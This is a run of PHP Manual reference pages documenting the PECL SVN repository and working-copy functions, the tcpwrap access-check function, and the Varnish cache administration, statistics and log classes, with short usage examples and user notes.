  • SVN Functions
  • Commits a transaction and returns the new revision

svn_repos_fs_commit_txn

(PECL svn >= 0.2.0)

svn_repos_fs_commit_txn — Commits a transaction and returns the new revision

Description

int svn_repos_fs_commit_txn ( resource $txn )
Warning

This function is currently not documented; only its argument list is available.

Commits a transaction and returns the new revision

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Gets a handle on the filesystem for a repository

  • « svn_repos_fs_commit_txn
  • svn_repos_hotcopy »
  • PHP Manual
  • SVN Functions
  • Gets a handle on the filesystem for a repository

svn_repos_fs

(PECL svn >= 0.1.0)

svn_repos_fs — Gets a handle on the filesystem for a repository

Description

resource svn_repos_fs ( resource $repos )
Warning

This function is currently not documented; only its argument list is available.

Gets a handle on the filesystem for a repository

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Make a hot-copy of the repos at repospath; copy it to destpath

  • « svn_repos_fs
  • svn_repos_open »
  • PHP Manual
  • SVN Functions
  • Make a hot-copy of the repos at repospath; copy it to destpath

svn_repos_hotcopy

(PECL svn >= 0.1.0)

svn_repos_hotcopy — Make a hot-copy of the repos at repospath; copy it to destpath

Description

bool svn_repos_hotcopy ( string $repospath , string $destpath , bool $cleanlogs )
Warning

This function is currently not documented; only its argument list is available.

Make a hot-copy of the repos at repospath; copy it to destpath

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Open a shared lock on a repository.

  • « svn_repos_hotcopy
  • svn_repos_recover »
  • PHP Manual
  • SVN Functions
  • Open a shared lock on a repository.

svn_repos_open

(PECL svn >= 0.1.0)

svn_repos_open — Open a shared lock on a repository.

Description

resource svn_repos_open ( string $path )
Warning

This function is currently not documented; only its argument list is available.

Open a shared lock on a repository.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Run recovery procedures on the repository located at path.

  • « svn_repos_open
  • svn_revert »
  • PHP Manual
  • SVN Functions
  • Run recovery procedures on the repository located at path.

svn_repos_recover

(PECL svn >= 0.1.0)

svn_repos_recover — Run recovery procedures on the repository located at path.

Description

bool svn_repos_recover ( string $path )
Warning

This function is currently not documented; only its argument list is available.

Run recovery procedures on the repository located at path.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Revert changes to the working copy

  • « svn_repos_recover
  • svn_status »
  • PHP Manual
  • SVN Functions
  • Revert changes to the working copy

svn_revert

(PECL svn >= 0.3.0)

svn_revert — Revert changes to the working copy

Description

bool svn_revert ( string $path [, bool $recursive = false ] )

Revert any local changes to the path in a working copy.

Parameters

path

The path to the working repository.

recursive

Optionally make recursive changes.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • svn_delete() - Delete items from a working copy or repository.
  • svn_export() - Export the contents of a SVN directory

User Contributed Notes

There are no user contributed notes for this page.


Returns the status of working copy files and directories

  • « svn_revert
  • svn_update »
  • PHP Manual
  • SVN Functions
  • Returns the status of working copy files and directories

svn_status

(PECL svn >= 0.1.0)

svn_status — Returns the status of working copy files and directories

Description

array svn_status ( string $path [, int $flags = 0 ] )

Returns the status of working copy files and directories, giving modifications, additions, deletions and other changes to items in the working copy.

Parameters

path

Local path to file or directory to retrieve status of.

Note: Relative paths will be resolved as if the current working directory was the one that contains the PHP binary. To use the calling script's working directory, use realpath() or dirname(__FILE__).

flags

Any combination of SVN_NON_RECURSIVE, SVN_ALL (regardless of modification status), SVN_SHOW_UPDATES (entries will be added for items that are out-of-date), SVN_NO_IGNORE (disregard svn:ignore properties when scanning for new files) and SVN_IGNORE_EXTERNALS.

Return Values

Returns a numerically indexed array of associative arrays detailing the status of items in the repository:

Array (
    [0] => Array (
        // information on item
    )
    [1] => ...
)

The information on the item is an associative array that can contain the following keys:

path
String path to file/directory of this entry on local filesystem.
text_status
Status of item's text. Refer to status constants for possible values.
repos_text_status
Status of item's text in repository. Only accurate if update was set to TRUE. Refer to status constants for possible values.
prop_status
Status of item's properties. Refer to status constants for possible values.
repos_prop_status
Status of item's property in repository. Only accurate if update was set to TRUE. Refer to status constants for possible values.
locked
Whether or not the item is locked. (Only set if TRUE.)
copied
Whether or not the item was copied (scheduled for addition with history). (Only set if TRUE.)
switched
Whether or not the item was switched using the switch command. (Only set if TRUE)

These keys are only set if the item is versioned:

name
Base name of item in repository.
url
URL of item in repository.
repos
Base URL of repository.
revision
Integer revision of item in working copy.
kind
Type of item, i.e. file or directory. Refer to type constants for possible values.
schedule
Scheduled action for item, i.e. addition or deletion. Constants for these magic numbers are not available, they can be emulated by using:
<?php
if (!defined('svn_wc_schedule_normal')) {
    define('svn_wc_schedule_normal',  0); // nothing special
    define('svn_wc_schedule_add',     1); // item will be added
    define('svn_wc_schedule_delete',  2); // item will be deleted
    define('svn_wc_schedule_replace', 3); // item will be added and deleted
}
?>
deleted
Whether or not the item was deleted, but parent revision lags behind. (Only set if TRUE.)
absent
Whether or not the item is absent, that is, Subversion knows that there should be something there but there isn't. (Only set if TRUE.)
incomplete
Whether or not the entries file for a directory is incomplete. (Only set if TRUE.)
cmt_date
Integer Unix timestamp of last commit date. (Unaffected by update.)
cmt_rev
Integer revision of last commit. (Unaffected by update.)
cmt_author
String author of last commit. (Unaffected by update.)
prop_time
Integer Unix timestamp of last up-to-date time for properties
text_time
Integer Unix timestamp of last up-to-date time for text

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Examples

Example #1 Basic example

This example demonstrates a basic, theoretical usage of this function.

<?php
print_r(svn_status(realpath('wc')));
?>

The above example will output something similar to:

Array (
    [0] => Array (
        [path] => /home/bob/wc/sandwich.txt
        [text_status] => 8 // item was modified
        [repos_text_status] => 1 // no information available, use update
        [prop_status] => 3 // no changes
        [repos_prop_status] => 1 // no information available, use update
        [name] => sandwich.txt
        [url] => http://www.example.com/svnroot/deli/trunk/sandwich.txt
        [repos] => http://www.example.com/svnroot/
        [revision] => 123
        [kind] => 1 // file
        [schedule] => 0 // no special actions scheduled
        [cmt_date] => 1165543135
        [cmt_rev] => 120
        [cmt_author] => Alice
        [prop_time] => 1180201728
        [text_time] => 1180201729
    )
)

See Also

  • svn_update() - Update working copy
  • svn_log() - Returns the commit log messages of a repository URL
  • » SVN documentation for svn status

User Contributed Notes

matthijs at fragfrog dot nl 20-Jul-2011 10:03
There seems to be an undocumented function svn_info (arguably the proper name for this functionality) that does almost the same as svn_status, but ignores the second parameter.

Unfortunately, neither can directly be used to just retrieve the current revision of a working copy, but a combination of svn_status and SVN_NON_RECURSIVE|SVN_ALL will work; simply perform the following command:

<?php
svn_status(ROOT,  SVN_NON_RECURSIVE|SVN_ALL);
?>

Where ROOT is of course the root of the working directory you wish to examine. One of the entries will be that working directory, including its current status.
alan at akbkhome dot com 28-May-2008 07:15
Currently the method accepts the following arguments:
 proto array svn_status(string path [, int flags]]

Where flags are:
SVN_ALL
SVN_SHOW_UPDATES
SVN_NO_IGNORE
SVN_IGNORE_EXTERNALS
SVN_NON_RECURSIVE

or
Svn::ALL
Svn::SHOW_UPDATES
Svn::NO_IGNORE
Svn::IGNORE_EXTERNALS
Svn::NON_RECURSIVE


Update working copy

  • « svn_status
  • TCP »
  • PHP Manual
  • SVN Functions
  • Update working copy

svn_update

(PECL svn >= 0.1.0)

svn_update — Update working copy

Description

int svn_update ( string $path [, int $revno = SVN_REVISION_HEAD [, bool $recurse = true ]] )

Update working copy at path to revision revno. If recurse is true, directories will be recursively updated.

Parameters

path

Path to local working copy.

Note: Relative paths will be resolved as if the current working directory was the one that contains the PHP binary. To use the calling script's working directory, use realpath() or dirname(__FILE__).

revno

Revision number to update to, default is SVN_REVISION_HEAD.

recurse

Whether or not to recursively update directories.

Return Values

Returns new revision number on success, returns FALSE on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Examples

Example #1 Basic example

This example demonstrates basic usage of this function:

<?php
echo svn_update(realpath('working-copy'));
?>

The above example will output something similar to:

234

See Also

  • svn_checkout() - Checks out a working copy from the repository
  • svn_commit() - Sends changes from the local working copy to the repository
  • » SVN documentation for svn update

User Contributed Notes

There are no user contributed notes for this page.


TCP Wrappers

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • TCP Functions
    • tcpwrap_check — Performs a tcpwrap check

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The TCP wrappers provides a classical Unix mechanism which has been designed to check if the remote client is able to connect from the given IP address.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/tcpwrap.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.


TCP Functions

Table of Contents

  • tcpwrap_check — Performs a tcpwrap check

User Contributed Notes

There are no user contributed notes for this page.


Performs a tcpwrap check

  • « TCP Functions
  • Varnish »
  • PHP Manual
  • TCP Functions
  • Performs a tcpwrap check

tcpwrap_check

(PECL tcpwrap >= 0.1.0)

tcpwrap_check — Performs a tcpwrap check

Description

bool tcpwrap_check ( string $daemon , string $address [, string $user [, bool $nodns = false ]] )

This function consults the /etc/hosts.allow and /etc/hosts.deny files to check if access to service daemon should be granted or denied for a client.

Parameters

daemon

The service name.

address

The client remote address. Can be either an IP address or a domain name.

user

An optional user name.

nodns

If address looks like domain name then DNS is used to resolve it to IP address; set nodns to TRUE to avoid this.

Return Values

This function returns TRUE if access should be granted, FALSE otherwise.

Examples

Example #1 Deny all connections from localhost

If your /etc/hosts.deny file contains:

php: 127.0.0.1

And your code looks like:

<?php
if (!tcpwrap_check('php', $_SERVER['REMOTE_ADDR'])) {
  die('You are not welcome here');
}
?>

See Also

For more details please consult hosts_access(3) man page.

User Contributed Notes

There are no user contributed notes for this page.


Varnish

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic VarnishAdmin usage
    • Basic VarnishStat usage
    • Basic VarnishLog usage
  • VarnishAdmin — The VarnishAdmin class
    • VarnishAdmin::auth — Authenticate on a varnish instance
    • VarnishAdmin::ban — Ban URLs using a VCL expression
    • VarnishAdmin::banUrl — Ban an URL using a VCL expression
    • VarnishAdmin::clearPanic — Clear varnish instance panic messages
    • VarnishAdmin::connect — Connect to a varnish instance administration interface
    • VarnishAdmin::__construct — VarnishAdmin constructor
    • VarnishAdmin::disconnect — Disconnect from a varnish instance administration interface
    • VarnishAdmin::getPanic — Get the last panic message on a varnish instance
    • VarnishAdmin::getParams — Fetch current varnish instance configuration parameters
    • VarnishAdmin::isRunning — Check if the varnish slave process is currently running
    • VarnishAdmin::setCompat — Set the class compat configuration param
    • VarnishAdmin::setHost — Set the class host configuration param
    • VarnishAdmin::setIdent — Set the class ident configuration param
    • VarnishAdmin::setParam — Set configuration param on the current varnish instance
    • VarnishAdmin::setPort — Set the class port configuration param
    • VarnishAdmin::setSecret — Set the class secret configuration param
    • VarnishAdmin::setTimeout — Set the class timeout configuration param
    • VarnishAdmin::start — Start varnish worker process
    • VarnishAdmin::stop — Stop varnish worker process
  • VarnishStat — The VarnishStat class
    • VarnishStat::__construct — VarnishStat constructor
    • VarnishStat::getSnapshot — Get the current varnish instance statistics snapshot
  • VarnishLog — The VarnishLog class
    • VarnishLog::__construct — Varnishlog constructor
    • VarnishLog::getLine — Get next log line
    • VarnishLog::getTagName — Get the log tag string representation by its index

User Contributed Notes

There are no user contributed notes for this page.


Introduction

Varnish Cache is an open source, state of the art web application accelerator. The extension makes it possible to interact with a running varnish instance through TCP socket or shared memory.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

To use this extension, you will need Varnish Cache of the version >=3.0 installed, available on the » Varnish Cache homepage

User Contributed Notes

Adrian Hernandez-Lopez 08-Oct-2014 07:51
It should be mention that Varnish PLUS is required.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/varnish.

A DLL for this PECL extension is available under » http://windows.php.net/downloads/pecl/releases/varnish/.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

VARNISH_STATUS_SYNTAX (integer)
VARNISH_STATUS_UNKNOWN (integer)
VARNISH_STATUS_UNIMPL (integer)
VARNISH_STATUS_TOOFEW (integer)
VARNISH_STATUS_TOOMANY (integer)
VARNISH_STATUS_PARAM (integer)
VARNISH_STATUS_AUTH (integer)
VARNISH_STATUS_OK (integer)
VARNISH_STATUS_CANT (integer)
VARNISH_STATUS_COMMS (integer)
VARNISH_STATUS_CLOSE (integer)
VARNISH_CONFIG_IDENT (string)
VARNISH_CONFIG_HOST (string)
VARNISH_CONFIG_PORT (string)
VARNISH_CONFIG_TIMEOUT (string)
VARNISH_CONFIG_SECRET (string)
VARNISH_CONFIG_COMPAT (string)
VARNISH_COMPAT_2 (integer)
VARNISH_COMPAT_3 (integer)

User Contributed Notes

There are no user contributed notes for this page.


Examples

Table of Contents

  • Basic VarnishAdmin usage
  • Basic VarnishStat usage
  • Basic VarnishLog usage

User Contributed Notes

There are no user contributed notes for this page.


Basic VarnishAdmin usage

The example illustrates a simple usage of the ban functionality

Example #1 Ban an URL

<?php

$args = array(
    VARNISH_CONFIG_HOST    => "::1",
    VARNISH_CONFIG_PORT    => 6082,
    VARNISH_CONFIG_SECRET  => "5174826b-8595-4958-aa7a-0609632ad7ca",
    VARNISH_CONFIG_TIMEOUT => 300,
);

$va = new VarnishAdmin($args);

try {
    if(!$va->connect()) {
        throw new VarnishException("Connection failed\n");
    }
} catch (VarnishException $e) {
    echo $e->getMessage();
    exit(3);
}

try {
    if(!$va->auth()) {
        throw new VarnishException("Auth failed\n");
    }
} catch (VarnishException $e) {
    echo $e->getMessage();
    exit(3);
}

try {
    $status = $va->ban('req.url ~ "^/$"');
    if (VARNISH_STATUS_OK != $status) {
        throw new VarnishException("Ban method returned $status status\n");
    }
} catch (VarnishException $e) {
    echo $e->getMessage();
    exit(3);
}

exit(0);

?>

User Contributed Notes

sarfraz dot qasim at gmail dot com 03-Sep-2012 05:57
This code worked for me with couple of changes after installing PECL.

Here is the updated code.

<?php

$args = array(
    VARNISH_CONFIG_HOST    => "127.0.0.1",
    VARNISH_CONFIG_PORT    => 6082,
    VARNISH_CONFIG_SECRET  => "5174826b-8595-4958-aa7a-0609632ad7ca",
    VARNISH_CONFIG_TIMEOUT => 300,
);

$va = new VarnishAdmin($args);

try {
    if(!$va->connect()) {
        throw new VarnishException("Connection failed\n");
    }
} catch (VarnishException $e) {
    echo $e->getMessage();
    exit(3);
}

try {
    if(!$va->auth()) {
        throw new VarnishException("Auth failed\n");
    }
} catch (VarnishException $e) {
    echo $e->getMessage();
    exit(3);
}

try {
    $status = $va->ban('req.url ~ "^/."');
    if (VARNISH_STATUS_OK != $status) {
        throw new VarnishException("Ban method returned $status status\n");
    }
} catch (VarnishException $e) {
    echo $e->getMessage();
    exit(3);
}

exit(0);

?>

Hope this helps.


Basic VarnishStat usage

The example illustrates getting varnish statistic snapshot from shared memory

Example #1 Get statistic snapshot

<?php

$vs = new VarnishStat;

try {
    $data = $vs->getSnapshot();
} catch (VarnishException $e) {
    echo $e->getMessage();
    exit(3);
}

exit(0);
?>

User Contributed Notes

There are no user contributed notes for this page.


Basic VarnishLog usage

The example illustrates reading varnish log lines from shared memory

Example #1 Read varnish shared memory log

<?php

$vl = new VarnishLog;
while(1) {
    $line = $vl->getLine();
    printf("%s %d %s", VarnishLog::getTagName($line['tag'], $line['id'],
    $line['data']);
}

exit(0);
?>

User Contributed Notes

There are no user contributed notes for this page.


The VarnishAdmin class

(PECL varnish >= 0.3)

Introduction

Class synopsis

VarnishAdmin {
/* Methods */
public bool auth ( void )
public int ban ( string $vcl_regex )
public int banUrl ( string $vcl_regex )
public int clearPanic ( void )
public bool connect ( void )
public __construct ([ array $args ] )
public bool disconnect ( void )
public string getPanic ( void )
public array getParams ( void )
public bool isRunning ( void )
public void setCompat ( int $compat )
public void setHost ( string $host )
public void setIdent ( string $ident )
public int setParam ( string $name , string|integer $value )
public void setPort ( int $port )
public void setSecret ( string $secret )
public void setTimeout ( int $timeout )
public int start ( void )
public int stop ( void )
}

Table of Contents

  • VarnishAdmin::auth — Authenticate on a varnish instance
  • VarnishAdmin::ban — Ban URLs using a VCL expression
  • VarnishAdmin::banUrl — Ban an URL using a VCL expression
  • VarnishAdmin::clearPanic — Clear varnish instance panic messages
  • VarnishAdmin::connect — Connect to a varnish instance administration interface
  • VarnishAdmin::__construct — VarnishAdmin constructor
  • VarnishAdmin::disconnect — Disconnect from a varnish instance administration interface
  • VarnishAdmin::getPanic — Get the last panic message on a varnish instance
  • VarnishAdmin::getParams — Fetch current varnish instance configuration parameters
  • VarnishAdmin::isRunning — Check if the varnish slave process is currently running
  • VarnishAdmin::setCompat — Set the class compat configuration param
  • VarnishAdmin::setHost — Set the class host configuration param
  • VarnishAdmin::setIdent — Set the class ident configuration param
  • VarnishAdmin::setParam — Set configuration param on the current varnish instance
  • VarnishAdmin::setPort — Set the class port configuration param
  • VarnishAdmin::setSecret — Set the class secret configuration param
  • VarnishAdmin::setTimeout — Set the class timeout configuration param
  • VarnishAdmin::start — Start varnish worker process
  • VarnishAdmin::stop — Stop varnish worker process

User Contributed Notes

There are no user contributed notes for this page.


Authenticate on a varnish instance

  • « VarnishAdmin
  • VarnishAdmin::ban »
  • PHP Manual
  • VarnishAdmin
  • Authenticate on a varnish instance

VarnishAdmin::auth

(PECL varnish >= 0.3)

VarnishAdmin::auth — Authenticate on a varnish instance

Description

public bool VarnishAdmin::auth ( void )

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Ban URLs using a VCL expression

  • « VarnishAdmin::auth
  • VarnishAdmin::banUrl »
  • PHP Manual
  • VarnishAdmin
  • Ban URLs using a VCL expression

VarnishAdmin::ban

(PECL varnish >= 0.3)

VarnishAdmin::ban — Ban URLs using a VCL expression

Description

public int VarnishAdmin::ban ( string $vcl_regex )

Parameters

vcl_regex

Varnish VCL expression. It's based on the varnish ban command.

Return Values

Returns the varnish command status.

User Contributed Notes

There are no user contributed notes for this page.


Ban an URL using a VCL expression

  • « VarnishAdmin::ban
  • VarnishAdmin::clearPanic »
  • PHP Manual
  • VarnishAdmin
  • Ban an URL using a VCL expression

VarnishAdmin::banUrl

(PECL varnish >= 0.3)

VarnishAdmin::banUrl — Ban an URL using a VCL expression

Description

public int VarnishAdmin::banUrl ( string $vcl_regex )

Parameters

vcl_regex

URL regular expression in PCRE compatible syntax. It's based on the ban.url varnish command.

Return Values

Returns the varnish command status.

User Contributed Notes

There are no user contributed notes for this page.


Clear varnish instance panic messages

  • « VarnishAdmin::banUrl
  • VarnishAdmin::connect »
  • PHP Manual
  • VarnishAdmin
  • Clear varnish instance panic messages

VarnishAdmin::clearPanic

(PECL varnish >= 0.4)

VarnishAdmin::clearPanic — Clear varnish instance panic messages

Description

public int VarnishAdmin::clearPanic ( void )

Parameters

This function has no parameters.

Return Values

Returns the varnish command status.

User Contributed Notes

There are no user contributed notes for this page.


Connect to a varnish instance administration interface

  • « VarnishAdmin::clearPanic
  • VarnishAdmin::__construct »
  • PHP Manual
  • VarnishAdmin
  • Connect to a varnish instance administration interface

VarnishAdmin::connect

(PECL varnish >= 0.3)

VarnishAdmin::connect — Connect to a varnish instance administration interface

Description

public bool VarnishAdmin::connect ( void )

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


VarnishAdmin constructor

  • « VarnishAdmin::connect
  • VarnishAdmin::disconnect »
  • PHP Manual
  • VarnishAdmin
  • VarnishAdmin constructor

VarnishAdmin::__construct

(PECL varnish >= 0.3)

VarnishAdmin::__construct — VarnishAdmin constructor

Description

public VarnishAdmin::__construct ([ array $args ] )

Parameters

args

Configuration arguments. The possible keys are:

VARNISH_CONFIG_IDENT - local varnish instance ident
VARNISH_CONFIG_HOST - varnish instance ip
VARNISH_CONFIG_PORT - varnish instance port
VARNISH_CONFIG_SECRET - varnish instance secret
VARNISH_CONFIG_TIMEOUT - connection read timeout
VARNISH_CONFIG_COMPAT - varnish major version compatibility

Return Values

Examples

Example #1 VarnishAdmin::__construct() example

<?php
    $args = array(
        VARNISH_CONFIG_HOST => "::1",
        VARNISH_CONFIG_PORT => 6082,
        VARNISH_CONFIG_SECRET => "5174826b-8595-4958-aa7a-0609632ad7ca",
        VARNISH_CONFIG_TIMEOUT => 300,
    );
    $va = new VarnishAdmin($args);
?>

User Contributed Notes

There are no user contributed notes for this page.


Disconnect from a varnish instance administration interface

  • « VarnishAdmin::__construct
  • VarnishAdmin::getPanic »
  • PHP Manual
  • VarnishAdmin
  • Disconnect from a varnish instance administration interface

VarnishAdmin::disconnect

(PECL varnish >= 1.0.0)

VarnishAdmin::disconnect — Disconnect from a varnish instance administration interface

Description

public bool VarnishAdmin::disconnect ( void )

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Get the last panic message on a varnish instance

  • « VarnishAdmin::disconnect
  • VarnishAdmin::getParams »
  • PHP Manual
  • VarnishAdmin
  • Get the last panic message on a varnish instance

VarnishAdmin::getPanic

(PECL varnish >= 0.4)

VarnishAdmin::getPanic — Get the last panic message on a varnish instance

Description

public string VarnishAdmin::getPanic ( void )

Parameters

This function has no parameters.

Return Values

Returns the last panic message on the current varnish instance.

User Contributed Notes

There are no user contributed notes for this page.


Fetch current varnish instance configuration parameters

  • « VarnishAdmin::getPanic
  • VarnishAdmin::isRunning »
  • PHP Manual
  • VarnishAdmin
  • Fetch current varnish instance configuration parameters

VarnishAdmin::getParams

(PECL varnish >= 0.4)

VarnishAdmin::getParams — Fetch current varnish instance configuration parameters

Description

public array VarnishAdmin::getParams ( void )

Parameters

This function has no parameters.

Return Values

Returns an array with the varnish configuration parameters.

User Contributed Notes

There are no user contributed notes for this page.


Check if the varnish slave process is currently running

  • « VarnishAdmin::getParams
  • VarnishAdmin::setCompat »
  • PHP Manual
  • VarnishAdmin
  • Check if the varnish slave process is currently running

VarnishAdmin::isRunning

(PECL varnish >= 0.3)

VarnishAdmin::isRunning — Check if the varnish slave process is currently running

Description

public bool VarnishAdmin::isRunning ( void )

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set the class compat configuration param

  • « VarnishAdmin::isRunning
  • VarnishAdmin::setHost »
  • PHP Manual
  • VarnishAdmin
  • Set the class compat configuration param

VarnishAdmin::setCompat

(PECL varnish >= 0.9.2)

VarnishAdmin::setCompat — Set the class compat configuration param

Description

public void VarnishAdmin::setCompat ( int $compat )

Parameters

compat

Varnish compatibility option.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Set the class host configuration param

  • « VarnishAdmin::setCompat
  • VarnishAdmin::setIdent »
  • PHP Manual
  • VarnishAdmin
  • Set the class host configuration param

VarnishAdmin::setHost

(PECL varnish >= 0.8)

VarnishAdmin::setHost — Set the class host configuration param

Description

public void VarnishAdmin::setHost ( string $host )

Parameters

host

Connection host configuration parameter.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Set the class ident configuration param

  • « VarnishAdmin::setHost
  • VarnishAdmin::setParam »
  • PHP Manual
  • VarnishAdmin
  • Set the class ident configuration param

VarnishAdmin::setIdent

(PECL varnish >= 0.8)

VarnishAdmin::setIdent — Set the class ident configuration param

Description

public void VarnishAdmin::setIdent ( string $ident )

Parameters

ident

Connection ident configuration parameter.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Set configuration param on the current varnish instance

  • « VarnishAdmin::setIdent
  • VarnishAdmin::setPort »
  • PHP Manual
  • VarnishAdmin
  • Set configuration param on the current varnish instance

VarnishAdmin::setParam

(PECL varnish >= 0.4)

VarnishAdmin::setParam — Set configuration param on the current varnish instance

Description

public int VarnishAdmin::setParam ( string $name , string|integer $value )

Parameters

name

Varnish configuration param name.

value

Varnish configuration param value.

Return Values

Returns the varnish command status.

User Contributed Notes

There are no user contributed notes for this page.


Set the class port configuration param

  • « VarnishAdmin::setParam
  • VarnishAdmin::setSecret »
  • PHP Manual
  • VarnishAdmin
  • Set the class port configuration param

VarnishAdmin::setPort

(PECL varnish >= 0.8)

VarnishAdmin::setPort — Set the class port configuration param

Description

public void VarnishAdmin::setPort ( int $port )

Parameters

port

Connection port configuration parameter.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Set the class secret configuration param

  • « VarnishAdmin::setPort
  • VarnishAdmin::setTimeout »
  • PHP Manual
  • VarnishAdmin
  • Set the class secret configuration param

VarnishAdmin::setSecret

(PECL varnish >= 0.8)

VarnishAdmin::setSecret — Set the class secret configuration param

Description

public void VarnishAdmin::setSecret ( string $secret )

Parameters

secret

Connection secret configuration parameter.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Set the class timeout configuration param

  • « VarnishAdmin::setSecret
  • VarnishAdmin::start »
  • PHP Manual
  • VarnishAdmin
  • Set the class timeout configuration param

VarnishAdmin::setTimeout

(PECL varnish >= 0.8)

VarnishAdmin::setTimeout — Set the class timeout configuration param

Description

public void VarnishAdmin::setTimeout ( int $timeout )

Parameters

timeout

Connection timeout configuration parameter.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Start varnish worker process

  • « VarnishAdmin::setTimeout
  • VarnishAdmin::stop »
  • PHP Manual
  • VarnishAdmin
  • Start varnish worker process

VarnishAdmin::start

(PECL varnish >= 0.3)

VarnishAdmin::start — Start varnish worker process

Description

public int VarnishAdmin::start ( void )

Parameters

This function has no parameters.

Return Values

Returns the varnish command status.

User Contributed Notes

There are no user contributed notes for this page.


Stop varnish worker process

  • « VarnishAdmin::start
  • VarnishStat »
  • PHP Manual
  • VarnishAdmin
  • Stop varnish worker process

VarnishAdmin::stop

(PECL varnish >= 0.3)

VarnishAdmin::stop — Stop varnish worker process

Description

public int VarnishAdmin::stop ( void )

Parameters

This function has no parameters.

Return Values

Returns the varnish command status.

User Contributed Notes

There are no user contributed notes for this page.


The VarnishStat class

(PECL varnish >= 0.3)

Introduction

Class synopsis

VarnishStat {
/* Methods */
public __construct ([ array $args ] )
public array getSnapshot ( void )
}

Table of Contents

  • VarnishStat::__construct — VarnishStat constructor
  • VarnishStat::getSnapshot — Get the current varnish instance statistics snapshot

User Contributed Notes

There are no user contributed notes for this page.


VarnishStat constructor

  • « VarnishStat
  • VarnishStat::getSnapshot »
  • PHP Manual
  • VarnishStat
  • VarnishStat constructor

VarnishStat::__construct

(PECL varnish >= 0.3)

VarnishStat::__construct — VarnishStat constructor

Description

public VarnishStat::__construct ([ array $args ] )

Parameters

args

Configuration arguments. The possible keys are:

VARNISH_CONFIG_IDENT - local varnish instance ident path

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get the current varnish instance statistics snapshot

  • « VarnishStat::__construct
  • VarnishLog »
  • PHP Manual
  • VarnishStat
  • Get the current varnish instance statistics snapshot

VarnishStat::getSnapshot

(PECL varnish >= 0.3)

VarnishStat::getSnapshot — Get the current varnish instance statistics snapshot

Description

public array VarnishStat::getSnapshot ( void )

Parameters

This function has no parameters.

Return Values

Array with the varnish statistic snapshot. The array keys are identical to that in the varnishstat tool.

User Contributed Notes

There are no user contributed notes for this page.


The VarnishLog class

(PECL varnish >= 0.6)

Introduction

Class synopsis

VarnishLog {
/* Constants */
const integer TAG_Debug = 0 ;
const integer TAG_Error = 1 ;
const integer TAG_CLI = 2 ;
const integer TAG_StatSess = 3 ;
const integer TAG_ReqEnd = 4 ;
const integer TAG_SessionOpen = 5 ;
const integer TAG_SessionClose = 6 ;
const integer TAG_BackendOpen = 7 ;
const integer TAG_BackendXID = 8 ;
const integer TAG_BackendReuse = 9 ;
const integer TAG_BackendClose = 10 ;
const integer TAG_HttpGarbage = 11 ;
const integer TAG_Backend = 12 ;
const integer TAG_Length = 13 ;
const integer TAG_FetchError = 14 ;
const integer TAG_RxRequest = 15 ;
const integer TAG_RxResponse = 16 ;
const integer TAG_RxStatus = 17 ;
const integer TAG_RxURL = 18 ;
const integer TAG_RxProtocol = 19 ;
const integer TAG_RxHeader = 20 ;
const integer TAG_TxRequest = 21 ;
const integer TAG_TxResponse = 22 ;
const integer TAG_TxStatus = 23 ;
const integer TAG_TxURL = 24 ;
const integer TAG_TxProtocol = 25 ;
const integer TAG_TxHeader = 26 ;
const integer TAG_ObjRequest = 27 ;
const integer TAG_ObjResponse = 28 ;
const integer TAG_ObjStatus = 29 ;
const integer TAG_ObjURL = 30 ;
const integer TAG_ObjProtocol = 31 ;
const integer TAG_ObjHeader = 32 ;
const integer TAG_LostHeader = 33 ;
const integer TAG_TTL = 34 ;
const integer TAG_Fetch_Body = 35 ;
const integer TAG_VCL_acl = 36 ;
